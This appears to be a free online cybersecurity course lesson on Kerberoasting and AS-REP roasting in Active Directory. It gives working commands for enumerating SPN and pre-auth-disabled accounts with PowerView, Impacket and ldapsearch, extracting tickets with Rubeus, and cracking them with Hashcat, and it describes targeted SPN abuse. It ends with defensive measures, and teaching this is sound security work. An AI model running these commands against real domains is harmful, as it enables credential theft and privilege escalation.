Kerberoasting and AS-REP Roasting
Request Kerberos service tickets and crack them offline with Hashcat.
Kerberoasting and AS-REP Roasting is a free Cyber Security Academy lesson on CoddyKit — lesson 3 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the Cyber Security Academy learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.
Kerberos Ticket Encryption
Service tickets are encrypted with the service account's password hash. Any domain user can request a service ticket for any SPN. If the service account has a weak password, the ticket can be cracked offline.
What is Kerberoasting?
Kerberoasting requests service tickets for accounts with Service Principal Names (SPNs), extracts the encrypted ticket, and cracks it offline with Hashcat. No elevated privileges required — any domain user can do this.
# Steps:
# 1. Find accounts with SPNs
# 2. Request their service tickets
# 3. Extract ticket hashes
# 4. Crack with HashcatFinding SPNs
Enumerate all service accounts with SPNs using PowerView, Impacket, or native AD tools. SPNs link service accounts to their services.
# PowerView (Windows)
Get-DomainUser -SPN
Get-NetUser -SPN | select name,serviceprincipalname
# Impacket (Linux)
GetUserSPNs.py CORP/user:pass@dc.corp.com
# Native LDAP query
ldapsearch -H ldap://dc -b "DC=corp,DC=com" \
"(servicePrincipalName=*)" cn servicePrincipalNameRequesting and Extracting Tickets
Rubeus (Windows) and Impacket's GetUserSPNs (Linux) both request tickets and output them in crackable format.
# Rubeus (Windows)
Rubeus.exe kerberoast /format:hashcat /output:hashes.txt
# Impacket (Linux)
GetUserSPNs.py CORP/user:pass@dc.corp.com \
-request -outputfile hashes.txtCracking with Hashcat
Kerberoast hashes use mode 13100 (Kerberos 5 TGS-REP). Use a strong wordlist with rules for maximum effectiveness.
# Crack TGS-REP hashes
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
# With rules for better coverage
hashcat -m 13100 hashes.txt rockyou.txt -r best64.rule
# AES tickets: mode 19700 (AES128) or 19800 (AES256)What is AS-REP Roasting?
AS-REP Roasting targets accounts with Do not require Kerberos pre-authentication enabled. The AS returns a TGT encrypted with the user's hash — requestable without knowing the password, crackable offline.
Finding Pre-Auth Disabled Accounts
Accounts without pre-authentication are a misconfiguration, often left by legacy applications. Enumerate them with PowerView or GetNPUsers.
# PowerView
Get-DomainUser -PreauthNotRequired
# Impacket GetNPUsers (no password needed!)
GetNPUsers.py CORP/ -usersfile users.txt \
-dc-ip dc.corp.com -format hashcat -outputfile asrep.txt
# Rubeus
Rubeus.exe asreproast /format:hashcat /output:asrep.txtCracking AS-REP Hashes
AS-REP hashes use Hashcat mode 18200. The crack process is the same as Kerberoasting — offline dictionary attack against the encrypted AS response.
# Crack AS-REP hashes
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
# With rules:
hashcat -m 18200 asrep.txt rockyou.txt -r best64.ruleImpact Assessment
Cracked service account passwords often have elevated privileges — service accounts running databases, backup software, or exchange may be domain admins. AS-REP accounts are frequently overlooked and weakly secured.
Targeted Kerberoasting
If you have write access to an object, you can temporarily add an SPN to a high-value account, kerberoast it, crack the hash, then remove the SPN — targeting specific accounts on demand.
Defenses
Kerberoasting defense: use long random passwords (25+ chars) for service accounts, or better, use Group Managed Service Accounts (gMSA) with auto-rotating 120-character passwords. AS-REP: enable pre-authentication on all accounts.
Quick Check
What account attribute is required for AS-REP Roasting to work?
Summary: Kerberoasting and AS-REP Roasting
Both attacks exploit Kerberos ticket encryption weaknesses to crack passwords offline without triggering lockouts. Kerberoasting targets SPN accounts (any domain user can do it); AS-REP Roasting targets accounts without pre-authentication (no credentials needed). Defend with gMSA for service accounts and enforce pre-authentication on all users.
Frequently asked questions
Is the “Kerberoasting and AS-REP Roasting” lesson free?
Yes — the full text of “Kerberoasting and AS-REP Roasting” is free to read here on the web, and the Cyber Security Academy course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the Cyber Security Academy course, upgrade to CoddyKit PRO.
What will I learn in “Kerberoasting and AS-REP Roasting”?
Request Kerberos service tickets and crack them offline with Hashcat. You practise Cyber Security Academy with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.
Do I need any experience to start Cyber Security Academy?
No prior experience is required. Cyber Security Academy on CoddyKit is structured for beginners through advanced learners; this is — lesson 3 of 4, so you can start here or from the beginning and move at your own pace.
How long does the “Kerberoasting and AS-REP Roasting” lesson take?
Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.
Can I write and run code in this Cyber Security Academy lesson?
Yes. Every Cyber Security Academy lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.
All lessons in this course
- Windows Authentication: NTLM and Kerberos
- Pass-the-Hash and Pass-the-Ticket Attacks
- Kerberoasting and AS-REP Roasting
- Active Directory Hardening